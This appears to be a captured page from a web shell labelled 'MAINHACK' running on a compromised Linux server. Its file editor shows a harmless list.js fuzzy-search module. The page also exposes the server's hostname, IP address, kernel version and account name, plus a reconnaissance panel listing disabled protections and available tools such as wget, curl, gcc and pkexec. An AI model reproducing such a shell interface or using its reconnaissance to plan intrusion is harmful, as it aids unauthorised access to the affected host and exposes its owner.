[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fuzzy-search.js
var classes = require('./utils/classes'), events = require('./utils/events'), extend = require('./utils/extend'), toString = require('./utils/to-string'), getByClass = require('./utils/get-by-class'), fuzzy = require('./utils/fuzzy') module.exports = function (list, options) { options = options || {} options = extend( { location: 0, distance: 100, threshold: 0.4, multiSearch: true, searchClass: 'fuzzy-search', }, options ) var fuzzySearch = { search: function (searchString, columns) { // Substract arguments from the searchString or put searchString as only argument var searchArguments = options.multiSearch ? searchString.replace(/ +$/, '').split(/ +/) : [searchString] for (var k = 0, kl = list.items.length; k < kl; k++) { fuzzySearch.item(list.items[k], columns, searchArguments) } }, item: function (item, columns, searchArguments) { var found = true for (var i = 0; i < searchArguments.length; i++) { var foundArgument = false for (var j = 0, jl = columns.length; j < jl; j++) { if (fuzzySearch.values(item.values(), columns[j], searchArguments[i])) { foundArgument = true } } if (!foundArgument) { found = false } } item.found = found }, values: function (values, value, searchArgument) { if (values.hasOwnProperty(value)) { var text = toString(values[value]).toLowerCase() if (fuzzy(text, searchArgument, options)) { return true } } return false }, } events.bind( getByClass(list.listContainer, options.searchClass), 'keyup', list.utils.events.debounce(function (e) { var target = e.target || e.srcElement // IE have srcElement list.search(target.value, fuzzySearch.search) }, list.searchDelay) ) return function (str, columns) { list.search(str, columns, fuzzySearch.search) } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002